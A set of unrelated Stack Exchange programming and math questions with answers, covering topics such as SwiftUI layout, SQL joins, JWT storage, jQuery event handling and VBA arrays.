text:
Q: Inserting non-list elements in a SwiftUI view I am working on a SwiftUI page that consists of a table view with some rows but I would also like to have some non-cell elements in there. I am currently having some issues with this and I have tried various different avenues. I basically just need some elements in there that aren't wrapped inside a cell while still maintaining the tableview's grayish background. In my example below, I am trying to get an image right under the table rows.
Below is my code:
import SwiftUI

struct ContentView: View {
    private var color = Color(red: 32/255, green: 35/255, blue: 0/255)
    var body: some View {
        NavigationView {
            Form {
                Section() {
                    HStack {
                        Text("AA")
                            .foregroundColor(color)

                    }
                    HStack {
                        Text("B")
                            .foregroundColor(color)

                    }
                    HStack {
                        Text("C")
                            .foregroundColor(color)

                    }
                    HStack {
                        Text("D")
                            .foregroundColor(color)
                    }
                    HStack {
                        Text("E")
                            .foregroundColor(color)

                    }
                    HStack {
                        Text("F")
                            .foregroundColor(color)

                    }
                    HStack {
                        Text("G")
                            .foregroundColor(color)

                    }
                }

            }.navigationBarTitle(Text("Page"))

            HStack {
                Image(systemName: "fallLeaves")
            }

        }

    }
}

struct ContentView_Previews: PreviewProvider {
    static var previews: some View {
        ContentView()
    }
}

Here are all of the scenarios I have tried that have been unsuccessful:

*

*Scenario 1: Adding a HStack with the image outside of the List. (What the current code shows) This does not get the image to show as the table view takes the whole view.

*Scenario 2: Adding the HStack with the image within the list block. This wraps the image around the cell like so

*

*Scenario 3: Wrapping the list and the HStack contains the image inside a VStack. This is no good as it's basically like a split-screen with two different views. The table gets shrunk and has it's own scroll bar. Notice the scroll bar in the image below

The ideal solution would look like this but I'm not sure what to try as I can't get it to look like this where it's all one continuous view and the image isn't in a cell

A: i'll let you work out the padding and the rounding.
    struct ContentView: View {
        private var color = Color(red: 32/255, green: 35/255, blue: 0/255)

        var body: some View {
            NavigationView {
                Form {
                    Section(content: {
                        HStack {
                            Text("AA")
                                .foregroundColor(color)

                        }
                        HStack {
                            Text("B")
                                .foregroundColor(color)

                        }
                    }, footer: {
                        Image("fallLeaves")
                    })
                }.navigationBarTitle(Text("Page"))
            }
        }
    }

    struct ContentView_Previews: PreviewProvider {
        static var previews: some View {
            ContentView()
        }
    }

A: You can also use place your component (event a page view) inside the cell.
What can be done;

*

*Use a Section to have a good style when you initiate another cell (because we'll make the following one transparent)

*Create a new Section

*Place a / any view

*Add .listRowBackground(Color.clear) to the new view; to see the background transparently.

*Add .listRowSeparator(.hidden)to the new view; to remove the cell line below.

After these, you'll have a placed view with additional padding. If this is important, you can play with padding to catch 0 padding distance. Also, by changing the list style (for this second group) with these kinds of styles, .listStyle(.grouped), you can get catch zero padding/spacing.
The footer solution can work for images, but when you need some texts, you'll see that it'll scale down the sizes. So instead of footer, my solution is to use a cell view and show it as a non-cell item;
Here is my change, which works (at least I think)

import SwiftUI

struct ContentView: View {
    private var color = Color(red: 32/255, green: 35/255, blue: 255/255)
    // Just changed color to test my changes better.
    // private var color = Color(red: 32/255, green: 35/255, blue: 0/255)
    var body: some View {
        NavigationView {
            Form {
                Section() {
                    Text("AA")
                    Text("B")
                    Text("C")
                    Text("D")
                    Text("E")
                    Text("F")
                    Text("G")
                }
                //foreground color won't colorize the cell's bottom lines
                .foregroundColor(color)

                Section{
                    HStack{
                        // Use Spacer or another horizontal alignment
                        // I just tried with another image, you can place yours with full width and remove the Spacer() 's
                        Spacer()
                        Image(systemName: "checkmark.seal.fill")
                            .resizable()
                            .scaledToFit()
                            .foregroundColor(color)
                            .frame(width: 100)
                        Spacer()
                    }
                    .listRowBackground(Color.clear)
                    // Not required for single items; but would be usefull, if you'll add more views or sections
                    .listRowSeparator(.hidden)
                }
            }.navigationBarTitle(Text("Page"))
        }
    }
}

struct ContentView_Previews: PreviewProvider {
    static var previews: some View {
        ContentView()
    }
}

And here is why your methods won't work;
Scenario 1: Using VStack and HStack will split the screen into different scrollable. This is by design, In SwiftUI List element overrides Stacks and ScrollableView
(Reference)
Scenario 2: Same as Scenario 1
Scenario 3: Actually, this is the same as Scenario 1
You might try 3 things;

*

*My solution, I don't see a major problem

*Footer solution, which can work, but for some views, you will have problems

*Determine a background color in ZStack and develop a custom button object which looks like a cell view (cons: non-native way and long time consuming work around)


text: Q: промахи в кэш L2 и попадание в кэш L3 подскажите пожалуйста, на каком примере можно рассмотреть промахи в кэш L2 и попадание в кэш L3? я не могу найти примеров на c++, где на конкретном примере были бы показаны реализации промахов и попаданий, я вычитал, что это можно показать на примере перемножения матриц, но как это посмотреть, где это видно, я не могу понять.

redpajama_set_name: RedPajamaStackExchange


text:
Q: Why does Apache Commons CSVParser.getHeaderMap() always return null? When reading the following TSV snippet with Apache Commons CSV:
Name    DOB SIN Address, contact information
"Patience Middleton"    "18-4-87"   720463771   "varius Cras sem aliquam taciti fames hendrerit tempor"

This is my code:
CSVFormat format = CSVFormat.newFormat('\t').withQuote('"');
CSVParser parsed = CSVParser.parse(csvData, format);
List<CSVRecord> record = parsed.getRecords();
System.out.println(parsed.getHeaderMap().toString());

However I always get a NullPointerException stating that parsed.getHeaderMap() == null.
According to the API (https://commons.apache.org/proper/commons-csv/apidocs/org/apache/commons/csv/CSVParser.html), the method may return a copy of the header map that iterates in column order.
Is there something wrong in my code or CSV file? Is the library failing?

A: By default CSVParser assumes that there is no header line and parses the first line as regular data. You need to tell it explicitly that you want the first line of your CSV file to be interpreted as a header by calling withHeader() on CSVFormat:
CSVParser parsed = CSVParser.parse(csvData,
   CSVFormat.newFormat('\t').withQuote('"').withHeader());


text:
Q: Javascript/JQuery wait for user input I'm working on a text-based browser game made using Javascript and JQuery.
I've run into a problem with user input.
What I used to do was just use a prompt() because it was easy to use, allowed me to save the input to a variable and made the code wait for input.
Now I want it to look better, so I've made my own input field with a nice chatbox above it.
What I wanted to know was how to stop the code from executing untill the user has pressed enter (I already detect the enter press and the text is being appended to the dialog box, I just need the code to wait for that to happen before it continues).
Here's some of my code:
Function for input
function input_field() {
    var inputField = $('#dialog-input');
    var messageField = $('#dialog-text');

    inputField.keyup(function (e) {
        if (e.keyCode == 13) {
            window.userInput = inputField.val();
            if(userInput != '') {
                messageField.append('You: ' + window.userInput + '<br>');
                inputField.val('');
                messageField.scrollTop(999999999);
            }
        }
    });
}

What I'd like to do is just save the data to a variable and then check it with a switch-case just like with prompt(), but as it stands now it just gives me an error because it tries to execute all the code instead of wait untill the user has given input.

A: It is possible with asynch+await.
Please note, that it is currently not fully supported by all browsers (http://caniuse.com/#search=await) and that there are probably better solutions to this kind of problems.
Using await myAsyncFunction() makes the browser treat the function like it is synchrounous, therefore it stops further execution of this function until a result is returned by the awaited function. It does not block other code on the website from running.
await may only be used inside a async function, otherwise the browser will throw an error.
Here is an example showing how you could wait for user input with await+async:

async function handleForm() {
  let userInput = '';
  console.log('Before getting the user input: ', userInput);
  userInput = await getUserInput();
  console.log('After getting user input: ', userInput);
};

function getUserInput() {
  return new Promise((resolve, reject) => {
    $('#myInput').keydown(function(e) {
      if (e.keyCode == 13) {
        const inputVal = $(this).val();
        resolve(inputVal);
      }
    });
  });
};

handleForm();
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<input id="myInput">

A: You have to thing differently, while javascript stop and wait for a returned value when using prompt(), you can't directly achieve that with a custom prompt.
var result = [];
for(var i = 0; i > 5; i--){
    result.push( prompt('tip something') ); // Ok
};

javascript will break until prompt return something
but you can't tell your code to stop, like the browser does when promprting. You'll have to execute a code when closing the modal (on button click or keypress enter) that open/update the next modal.


text:
Q: Conditional breakpoint depends on other breakpoint I need to stop at breakpoint in case when other breakpoint was passed. Is it possible realize in VC++?

A: Why did you debug your two breakpoint using this way? If the debugging runs to the specific code line, it would call the conditional, and then trigger the conditional breakpoint, if it just runs to A code line, I don't think it could call the conditional in B code line unless it really calls/runs to this line.

A: I do c#, and I know JetBrains Rider has exactly the feature you want. Called Dependent breakpoints. So I guess their c++ IDE CLion also has the feature.
In Visual Studio, you can manually do this. Set up the two breakpoints, disable B first. Run the code, after A got hit and the execution suspends, then enable B, press continue.


text: Q: Can I handle BeanCreationException in spring? Spring will throw BeanCreationException if there's some problem when creating a bean. If there's a way to do some thing when this exception is thrown, say, halt the process?


text:
Q: React native ScrollView onScroll event How I can call both function from onScroll?
I trying this
onScroll={
        (event) => console.log(event),
        Animated.event(
          [
            { nativeEvent:
              {
                contentOffset: { y: this.state.scrollY },
              },
            },
          ])
      }

but it's not work together, only separate. For example, If I comment ether console.log or Animated.event there are working.

A: ops, got it
 onScroll={
            Animated.event(
              [
                { nativeEvent:
                  {
                    contentOffset: { y: this.state.scrollY },
                  },
                },
              ],
              { listener: (event) => console.log(event.nativeEvent.contentOffset.y) }
            )
          }


text:
Q: Java custom annotation and dynamic loading I'm trying to develop ORM for database synchronisation and decided to give Java reflection a go. I have a library that defines Synchronised annotation like this
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
@Inherited
public @interface Synchronised {
    String tableName();
    SynchronisationType synchronisationType();
}

In android project I use this annotation to mark a model class
@Synchronised(tableName="UserAccounts", synchronisationType=SynchronisationType.DownloadOnly)
public class UserAccount {
    @SynchronisedField(fieldName="CompanyFk")
    private int companyId;
    @SynchronisedField(fieldName="Id")
    private int userId;
    @SynchronisedField(fieldName="Username")
    private String username;
    @SynchronisedField(fieldName="Password")
    private String password;
    @SynchronisedField(fieldName="Salt")
    private String salt;
    @SynchronisedField(fieldName="IsLocked")
    private boolean isLocked;
    @SynchronisedField(fieldName="HasMobileAccess")
    private boolean hasMobileAccess;
}

After some investigation a "loader" method was finally written that allows discovering model classes in current apk. It should retrieve all classes that are marked as "Synchronised", but the issue here is that getAttribute(Synchronised.class) doesn't work. Manually iterating annotations and searching for the attribute (instanceof, etc.) doesn't work either. When debugging I noticed that annotation coming from reflection is actually a proxy (getClass() gives "class Proxy2", while annotation.AnnotationType() returns correct name) - this explains why non of my previous attempts succeeded. When trying to cast directly - a cast exception is thrown (understandably). Basically I'm at a loss here so any idea is welcomed.
Model loading method (in library project):
public static List<Class> getModels(Context context, String packageName)
        throws IOException, URISyntaxException, ClassNotFoundException,
            NameNotFoundException {

        String apkName = context.getPackageManager().getApplicationInfo(packageName, 0).sourceDir;
        DexFile dexFile = new DexFile(apkName);
        //PathClassLoader classLoader = new PathClassLoader(apkName, ClassLoader.getSystemClassLoader());
        PathClassLoader classLoader = new PathClassLoader(apkName, Thread.currentThread().getContextClassLoader());

        List<Class> classes = new ArrayList<Class>();
        Enumeration<String> entries = dexFile.entries();

        while (entries.hasMoreElements()) {

            String entry = entries.nextElement();
            // only check items that exist in source package and not in libraries, etc.
            if (entry.startsWith(packageName)) {
                Log.d(TAG, "Entry: " + entry);

                Class<?> entryClass = classLoader.loadClass(entry);//dexFile.loadClass(entry, classLoader);
                if (entryClass != null) {
                    Annotation[] annotations = entryClass.getAnnotations();
                    for (Annotation annotation : annotations) {
                        if (annotation instanceof Synchronised) {
                            classes.add(entryClass);
                        }
                    }
                }
            }
        }

        return classes;
    }

[SOLUTION] The class loader needs to be chained like this:
PathClassLoader classLoader2 = new PathClassLoader(apkName, Thread.currentThread().getContextClassLoader());
DexClassLoader classLoader = new DexClassLoader(apkName, new ContextWrapper(context).getCacheDir().getAbsolutePath(), null, classLoader2);

If you still have no idea what I'm talking about, thanks for reading this lengthy post (-.

A: Get just annotation that you are interested in:
Annotation<Synchronised> annotation = entryClass.getAnnotation(Synchronised.class);

Update:
The problem is that DexFile.getClass() apparently returns a proxy. OP has found the anser and updated the question with a solution.


text:
Q: Analogue of Fubini's theorem for product space between natural numbers and an arbitrary measure space This is the last part of Bartle's "Elements of Integration" exercise 10.J.
Let $(X, \mathcal{A}, \nu)$ be a measure space, and consider the measure space $(\mathbb{N}, \mathcal{P}(\mathbb{N}), \mu)$, where $\mu$ is the counting measure. Let $(Z = \mathbb{N} \times X, \mathcal{B}, \pi)$ be the product of the beforementioned measure spaces.
If $f: Z \to \mathbb{R}$ is an integrable function, and $f_n$ are its $n$-sections ($f_n: X \to \mathbb{R}$, $f_n(x) = f(n, x))$ for each $n \in \mathbb{N}$. I need to show that
$$\sum_{n=1}^\infty \left(\int_X f_n d \nu\right) = \int_X \left(\sum_{n=1}^\infty f_n\right)d\nu$$
I tried finding an integrable function that dominates $\sum f_n$, and got nowhere. Also tried to prove first for nonnegative functions, and using the definition of the integral for arbitrary function, but to no avail. Could anyone give me some hint?

A: For non-negative integrable $f$ this follows by Monotone Convergence Theorem: $\sum\limits_{k=1}^{n} f_k$ increases to $\sum\limits_{k=1}^{\infty} f_k$ as $n$ increases to $\infty$. For the general case use the decomposition $f=f^{+}-f^{-}$.


text:
Q: CSS3Pie v1.0 - No gradients in IE9, works in IE8 I am trying to get linear gradients to work with CSS3Pie (v1.0) and IE9.
Strangely the demo works on the CSS3Pie site with IE9, but using the same CSS used on the demo does not work on my site. It works with IE8, so I know that PIE is working and in the correct location (to test, it stops working if I comment out behavior: url(/css/PIE.htc);).
Here is the CSS I am using:
.test {
padding: 20px;
text-align: center;
width: 200px;
height:100px;
-webkit-border-radius: 8px;
-moz-border-radius: 8px;
border-radius: 8px;
-webkit-box-shadow: #666 0px 2px 3px;
-moz-box-shadow: #666 0px 2px 3px;
box-shadow: #666 0px 2px 3px;
background: #FF7777;
position:relative;
background: -webkit-gradient(linear, 0 0, 0 bottom, from(#FF7777), to(#c40808));
background: -webkit-linear-gradient(#FF7777, #c40808);
background: -moz-linear-gradient(#FF7777, #c40808);
background: -ms-linear-gradient(#FF7777, #c40808);
background: -o-linear-gradient(#FF7777, #c40808);
background: linear-gradient(#FF7777, #c40808);
-pie-background: linear-gradient(#FF7777, #c40808);
behavior: url(/css/PIE.htc);
}

I'd prefer not to use IE filters, since the demo seems to work without them.
I've already read this question, but since the demo works, and this question is about a year old, and PIE is now on version 1.0 that I must be doing something wrong.
Any idea on where to go from here?

A: Failure in IE9 is usually due to an incorrect content-type header. Other IE versions have this issue as well but IE9 seems to be more strict about it. See http://css3pie.com/documentation/known-issues/#content-type for details.

A: I was having a big headache because even with the correct content-type header (text/x-component), the linear-gradient wasn't working on IE9.
Upgrading to PIE 2.0 solved the issue.
http://css3pie.com/2013/01/28/pie-2-0-beta-1-released
(Same awnser I gave in this question: linear-gradient using CSS3 PIE in IE9 not working, IE8 does)


text:
Q: Equiangular Triangle with length of rows are odd sample_output
  *
 ***
*****
None
Why is there "None"
sample_input = 5
def tri_wave(sample_input):
    row = sample_input - (sample_input - 1)//2
    for i in range(0,row + 1):
        a = i + (i - 1)
        sample_outputMA = int((sample_input - a)/2) * " " + (a * "*") + int((sample_input - a)/2) * " "
    print(sample_outputMA)
print(tri_wave(sample_input))

A:
Why is there None

You defined a function that lacks a return statement.
By default your function will return None after executing its final statement.
The REPL displays the function's return value.


text:
Q: Combine two tables - sql server I'm trying to combine 2 tables in SQL Server
Table 1: SO
ItemCode     | SONumber| SODate     | SOQTY
-------------------------------------------
TBJ182-01-02 | 0005251 | 29/01/2014 | 5
TBJ184-01-02 | 0005251 | 29/01/2014 | 2
TBJ182-01-02 | 0005554 | 15/02/2014 | 4
TBJ185-01-02 | 0005554 | 15/02/2014 | 5

Table 2: PO
ItemCode     | PONumber| PODate     | POQTY
--------------------------------------------
TBJ182-01-02 | 0009105 | 11/02/2014 | 8
TBJ184-01-02 | 0009208 | 14/02/2014 | 5
TBJ189-01-02 | 0009208 | 14/02/2014 | 5

Result table:
ItemCode     | SONumber| SODate    | SOQTY | PONmber |PODate      | POQTY
-------------------------------------------------------------------------
TBJ182-01-02 | 0005251 | 29/01/2014| 5     |         |            |
TBJ184-01-02 | 0005251 | 29/01/2014| 2     |         |            |
TBJ182-01-02 | 0005554 | 15/02/2014| 4     |         |            |
TBJ185-01-02 | 0005554 | 15/02/2014| 5     |         |            |
TBJ182-01-02 |         |           |       | 0009105 | 11/02/2014 | 8
TBJ184-01-02 |         |           |       | 0009208 | 14/02/2014 | 5
TBJ189-01-02 |         |           |       | 0009208 | 14/02/2014 | 5

Could you help?

A: You can do this most easily with a full outer join and a little trick:
select coalesce(SO.ItemCode, PO.ItemCode) as ItemCode,
       SO.SONumber, SO.SODate, SO.SOQTY,
       PO.PONmber, PO.PODate, PO.POQTY
from SO full outer join
     PO
     on 1 = 0;

A: Nothing more i have modified removed outer and ISNULL in place of coalesce
DECLARE @Tbl TABLE (

     ITEMCode VARCHAR(100),
        SONUMBER VARCHAR(100),
        SoQTY INT
    )

    INSERT INTO @Tbl VALUES ('TBJ182-01-02','0005251',1)
    INSERT INTO @Tbl VALUES ('TBJ184-01-02', '0005251', 2)
    INSERT INTO @Tbl VALUES ('TBJ182-01-02', '0005554',4)
    INSERT INTO @Tbl VALUES ('TBJ182-01-02', '0005554',6)

    DECLARE @Tbl1 TABLE (
        ITEMCode VARCHAR(100),
        PONUMBER VARCHAR(100),
        POQTY INT
    )

    INSERT INTO @Tbl1 VALUES ('TBJ182-01-02','0005251',1)
    INSERT INTO @Tbl1 VALUES ('TBJ184-01-02', '0005251', 2)
    INSERT INTO @Tbl1 VALUES ('TBJ182-01-02', '0005554',4)
    INSERT INTO @Tbl1 VALUES ('TBJ182-01-02', '0005554',6)
    select ISNULL(t.ITEMCode,tt.ITEMCode),t.SONUMBER,t.SoQTY,tt.PONUMBER,tt.POQTY from @Tbl t
    FULL JOIN @Tbl1 tt
    ON 1 = 0


text:
Q: noise added to geom_line with gganimate I am seeing noise added to the output when I'm using gganimate.
library(gganimate)
#> Loading required package: ggplot2
library(dplyr)
#>
#> Attaching package: 'dplyr'
#> The following objects are masked from 'package:stats':
#>
#>     filter, lag
#> The following objects are masked from 'package:base':
#>
#>     intersect, setdiff, setequal, union

dates <- seq(as.Date("2020-01-01"), as.Date("2020-04-30"), by = "day")

x_axis <- seq(0, 1, by = 0.01)

d1 <- expand.grid(dates, x_axis)
names(d1) <- c('date','x')

y1 <- seq(0.15,1,length.out = length(dates))

d2 <- data.frame(dates, y1)
names(d2) <- c('date','y')

d3 <- d2 %>% left_join(d1)
#> Joining, by = "date"

ggplot(
  d3
  , aes(
    x = x
    , y = y
  )
) +
  geom_line() +
  transition_time(
    date
  )

This renders the following output where I am seeing the noise added to output.
noisey gganimate


text:
Q: Where to store JWT token in angular? I am building an app with Django and angular. Currently, I am storing a JWT issued by the backend on local storage. But, I am concerned about XSS attacks. Should I store the token using HTTP only cookie? I am also thinking of storing the token in my auth service class in a variable field. But I am not entirely sure if angular shares the service across the entire app. Will there be a single instance of my auth service?

A: Assuming you are using standard dependency injection, a new instance of your service is instantiated each time, so therefore a field in the service class will not be stored.
Session or local storage is fine though. The JWT mechanism prevents the contents from being altered easily by a client (as you must be verifying it on your downstream backend services).
Conceivably you could retain some original request signature in the JWT payload, and check any secondary requests under this match the same.  For example, IP address, user agent string etc.
Personally (provided it is implemented correctly), I consider this more than enough security for the majority of web facing applications.  Obviously banking / finance apps may wish to go the extra mile, with 2 factor authentication, etc.

A: Let get things straight:
If you got XSS'd - it's game over. period.
That said,
one approach that passed external Penetration Tests in my current workplace would be placing JWT token in an httpOnly secure samesite=strict cookie.
To further prevent CSRF you can add an identifier in the web storage, attach it to every xhr as a header.
In the server, extract the identifier from the jwt and compare it with the header value.


text:
Q: EProxy URI does not resolve in ecore model In my Ecore model all types that come from outside the current model are not resolved by their proxies. All fields of the object returned by getType() are null and only the storage type URI is filled in at runtime.
Here is an extract of my model:
<?xml version="1.0" encoding="UTF-8"?>
<ecore:EPackage xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:ecore="http://www.eclipse.org/emf/2002/Ecore" name="model" nsURI="http:///model.ecore" nsPrefix="model">
  <eSubpackages name="general" nsURI="http:///model/general.ecore" nsPrefix="model.general">
    <eClassifiers xsi:type="ecore:EClass" name="Address">
      <eStructuralFeatures xsi:type="ecore:EAttribute" name="street" ordered="false" lowerBound="1"
      eType="ecore:EDataType platform:/plugin/org.eclipse.uml2.types/model/Types.ecore#//String"/>
    </eClassifiers>
  </eSubpackages>
</ecore:EPackage>

Currently if I make an
Address a = <address item from model>
Type t = a.getType();

all fields of t will be null and the toString() returns something like:
org.eclipse.uml2.uml.internal.impl.PrimitiveTypeImpl@6e315086 (eProxyURI:
 platform:/plugin/org.eclipse.uml2.types/model/Types.ecore#//String)

A: Change the proxy URIs from platform:/plugin/org.eclipse.uml2.types/model/Types.ecore#//String to contain the NS URI of the package that contains the data type: http://www.eclipse.org/uml2/4.0.0/Types#//String.
Note that this change can only be done in a textual editor.


text:
Q: Xcode: CURRENT_PROJECT_VERSION in product name In Xcode 7, I would like the name of the product to be something like myapp.3.23 where myapp is the target name, 3 is the version and 23 is the build. I tried by setting the product name of my target to $TARGET_NAME.$CURRENT_PROJECT_VERSION (and also $(TARGET_NAME).$(CURRENT_PROJECT_VERSION)) but only $TARGET seems to work.
Any clue?
Edit:
I am trying to do so from Xcode's Build settings panel, setting the desired value in the Packaging > Product name field.

A: I think you're looking for XCODE_ATTRIBUTE_xxx
https://cmake.org/cmake/help/v3.4/prop_tgt/XCODE_ATTRIBUTE_an-attribute.html


text:
Q: Help identify story: 80s/90s childrens book about a child in a society ruled by robots This was a short book I read in the late 80s or early 90s.  I believe it has a cover of two robot policemen pointing guns and was probably called something like ".. of the robots" (I'm thinking War of the Robots, but that doesn't seem to match anything).
From what I remember of the plot, the main character is a boy at school in a society run by robots.  The teacher is some sort of computer and one of the other pupils smashes it somehow.  Police robots show up and have some sort of weapon that creates a sort of forcefield dome around their target.  I recall they also had a gun which turned the victim to dust.
There's also some minor mention of things like "moving sidewalks/pavements" everywhere.
I have a faint recollection that there's a revolution in the end.

A: This is possibly War of the Computers by Granville Wilson.
I've never read it and don't know much about it, however the book cover in this link seems to match the description of robot policemen pointing guns.

Summary from the back cover of the copy in the Internet Archive (with some guesses for the part covered by the sticker):

Charlie Harper lives in the world of AD 2010 — a world ruled by computers. Ruthless robot policemen menace the regimented human population. Charlie's grandfather remembers the days when people were free, and talks too much about them for his own good. Every aspect of life is controlled by the four unseen computers.
One day things start to go [wrong?]. A storm of meteorites sparks off a co[unreadable] conflict turns to war; and the people watch as their robot oppressors attempt to destroy each other and the automated world they have created.


text:
Q: Need to resolve MVC and Angular Routes I have a typical MVC route define
 routes.MapRoute(
                name: "Default",
                url: "{controller}/{action}/{id}",
                defaults: new { controller = "Home", action = "Index", id = UrlParameter.Optional }
            );

App.js
(function () {
    'use strict';

    var app = angular.module('app', [

        //Angular modules
        'ngAnimate',     //animations
        'ngRoute',       //routing
        'ngSanitize'    //sanitize html bindings
    ]);

})();

And have an angular routes defined as
  var app = angular.module('app');

    //collect the routes
    app.constant('routes', getRoutes());

    //config the routes and route resolvers
    app.config(['$routeProvider', 'routes', routeConfigurator]);

    function routeConfigurator($routeProvider, routes) {

        routes.forEach(function (r) {

            $routeProvider.when(r.url, r.config);
        });

        $routeProvider.otherwise({ redirectTo: '/' });
    }

    function getRoutes() {
        return [
            {
                url: '/',
                config: {
                    title: 'dashboard',
                    templateUrl: '/app/dashboard/dashboard.html',
                    settings: {
                        nav: 1,
                        content: ' Dashboard'
                    }
                }
            },
            {
                url: '/projects',
                config: {
                    title: 'projects',
                    templateUrl: '/app/project/project.html',
                    settings: {
                        nav: 2,
                        content: ' Projects'
                    }
                }
            },
            {
                url: '/project/new',
                config: {
                    title: 'project',
                    templateUrl: '/app/project/newProject.html',
                    settings: {}
                }
            }
        ];
    }

So currently when my app startup, url looks like http://localhost:6722
it's not load up the first route that is define in angular route configuration. As soon as I append /#/ at the end of url like http://localhost:6722/#/ It's take up the First route..
Please suggest what I need to do to fix this?


text:
Q: Swift 3 extract group from Regex - NS-bridging mess I am trying to do a simple Regex in Swift 3, extracting a number from the input string.
As I am not familiar with iOS it's proven to be quite a challenge. I highly suspect that my error lies in using both String and NSString simultaneously.
let url = "a5b"
let nsUrl = url as NSString

let regex = try! NSRegularExpression(pattern: "a(\\d)b", options: [])
let matches = regex.matches(in: url, options: [], range: NSRange(location: 0, length: url.characters.count))

somestuff(str: nsUrl.substring(with: matches[1].range))

Fails with the following exception:

Terminating app due to uncaught exception 'NSRangeException', reason: '*** -[__NSSingleObjectArrayI objectAtIndex:]: index 1 beyond bounds [0 .. 0]'

What is the correct way to match and get the number?

A: Indexes are zero-based but the captured group is at range index 1
somestuff(str: nsUrl.substring(with: matches[0].rangeAt(1)))

You should test for no matches anyway...

About the return value of matches(in:

An array of NSTextCheckingResult objects. Each result gives the overall matched range via its range property, and the range of each individual capture group via its rangeAt(_:) method. The range {NSNotFound, 0} is returned if one of the capture groups did not participate in this particular match.

Note: range is actually the same as rangeAt(0)


text:
Q: Function gets called twice for each click The $(".actionsAdListnTo").click  function is getting fired twice.
I tried various solutions posted in StackOverflow but nothing worked.
What is the reason of twice firing any pointers please.
How to avoid this?
$(".actionsAdListnTo").click(function (e) {
    $('#actionsAdListnTo').slideToggle();
});

$(".ddlAddListinTo li").click(function () {
    var urlstring = "../ActionTypes";
    var ddlselectedVal = $(this).attr('id');
    var $form = $("#frmPostToEmailReports");
    var selectedListinsCount = selected_Listings.length;
    var SelectedMlsnums = selected_Listings.join();

    if (ddlselectedVal != "None" && ddlselectedVal != "select") {

        //***********  To Cart Functionality
        if (ddlselectedVal == 'Tocart') {
            if (selectedListinsCount > 500) {
                if ($('#errmesg').length == 0) {
                    $('.messageCenter').append(' The maximum number of listings you may select To Add to cart is 500.');
                    return false;
                }
            } else {
                $.post(urlstring,

                function (data) {
                    $(window.open(urlstring, '_blank', 'width=750, height=400')).load(function (e) {
                        var $formCopy = $("#frmPostToEmailReports").clone();
                        $($formCopy).append('<input id="SelectedMlsnums" name="SelectedMlsnums" type="hidden" value="' + SelectedMlsnums + '">');
                        // Here "this" will be the popup window. insert a form element into the popup window.
                        $(this.document).find("#divfrmInfo").html($formCopy);
                        e.preventDefault();
                    });
                });
            }
        }
    }
});

HTML :

      Add Listing To

To CART

To Portal

Save Listing

A: The click on li bubbles to its parents, one of them being
, so the parent's click handler is also called. Try to stop propagation of the click on li:
$(".ddlAddListinTo li").click(function (e) {
    e.stopPropagation();
    ...

A: What I see here is that you are defining two events in the same place, the second one on a child.
$(".actionsAdListnTo").click( function(e){
  ...
});
$(".ddlAddListinTo li").click(function () {
  ...
})

Maybe you can use e.sTopPropagation() in the second one, or e.preventDefault()

A: In this case it looks it would be more correct to target the link only for the toggle and not the outer div. Be as specific with your selectors as possibe, similar to this:
$(".actionsAdListnTo a#select").click(function (e) {
    $('#actionsAdListnTo').slideToggle();
});

If you want to be more specific without an id using the structure, you could do it simlar to:
$(".actionsAdListnTo > span:first > a").click(function (e) {
    $('#actionsAdListnTo').slideToggle();
});

Anyway, the way your HTML is structured there is no need to have the toggle triggered by the div as only the link should react to it.

DEMO - Getting more specific with the selector


text:
Q: VBA how to run the code until it reaches the last max function I have a code for an array that saves all the data from my spreadsheet in columns D to I, however it also saves all of the blank cells from the sheet too which I don't want. All of the columns have the same number of rows, but ideally I want the array for every row from the second until it finds the last repetition of the max that it works out from column D. My code is:
Sub PopulatingArrayVariable()

Dim myArray() As Variant
Dim DataRange As Range
Dim cell As Range
Dim x As Long
Dim TotalTargets As Double

TotalTargets = WorksheetFunction.Max(Columns("D"))

Set DataRange = Sheets("Result").Range("D:I")

For Each cell In DataRange.Cells
    ReDim Preserve myArray(x)
    myArray(x) = cell.Value
    x = x + 1
Next cell
End Sub

A: Add a condition for the length of the cell before adding to the array:
For Each cell In DataRange.Cells
    If Len(Trim(Cells)) > 0 Then
        ReDim Preserve myArray(x)
        myArray(x) = cell.Value
        x = x + 1
    End If
Next cell

The Trim() would remove the spaces from left and right, thus if there is a cell with just one space like this  it would still give 0 and would not be taken into account.
Trim MSDN

A: Here's an alternative approach which should skip ReDim Preserve altogether.
See if it helps your situation.
Sub BuildArray()
Dim lngLastRow As Long
Dim rng As Range
Dim arList As Object
Dim varOut As Variant

lngLastRow = Sheets("Result").Range("D:I").Find("*", Sheets("Result").Range("D1"), , , xlByRows, xlPrevious).Row
Set arList = CreateObject("System.Collections.ArrayList")
For Each rng In Sheets("Result").Range("D1:I" & lngLastRow)
    If Len(Trim(rng.Value)) > 0 Then
        arList.Add rng.Value
    End If
Next
varOut = arList.ToArray

End Sub


text:
Q: Validate same values on change Hello I have a problem with validating identical values in input boxes. Event called must be "on change" value of input box, but I have a problem with numbers.I want to write for example "17", but before there was value "1" already inputted in previous input box and it will report error because before we write 17 there is "1"- 7. So there is my question: is there a option to check identical values with this event type while dodging this error?
var textInput:Array = new Array();
for(var a:Number = 0;a < 2; a++){
    textInput[a] = new TextField();
    textInput[a].type = "input";
    textInput[a].y = 10+20*a;
    this.addChild(textInput[a]);
    textInput[a].addEventListener(Event.CHANGE, changeListener);
}

function changeListener (e:Event):void {
    if(Number(e.target.text)>22){
        e.target.text = "0";
    }
//problem area
    else{
        if(Number(textInput[1].text) == Number(textInput[0].text)){
            e.target.text = "0";
        }
    }
}

There is simple code with just 2 input boxes but in my project it more complex. How do define problem area to have possibility write "17" when we have "1" already in 1st input box.

A: You can't both allow and disallow the same thing at the same time, obviously.
What you can do is validate the field on CHANGE and only mark it as valid or invalid (perhaps with some error styling) and on FOCUS_OUT you reset the text if it's not valid.
Something like this:
var valid:Boolean = true;
input.addEventListener(Event.CHANGE, validate);
input.addEventListener(FocusEvent.FOCUS_OUT, commit);

function validate(e:Event):void {
    var input:TextField = e.currentTarget as TextField;
    var value:Number = Number(input.text);
    if(value > 22){
        valid = true;
        input.backgroundColor = 0xff0000; // error style
    }else{
        valid = false;
        input.backgroundColor = 0xffffff; // normal style
    }
}

function commit(e:FocusEvent):void {
    if(!valid){
        var input:TextField = e.currentTarget as TextField;
        input.text = "0";
        input.backgroundColor = 0xffffff; // normal style
    }
}

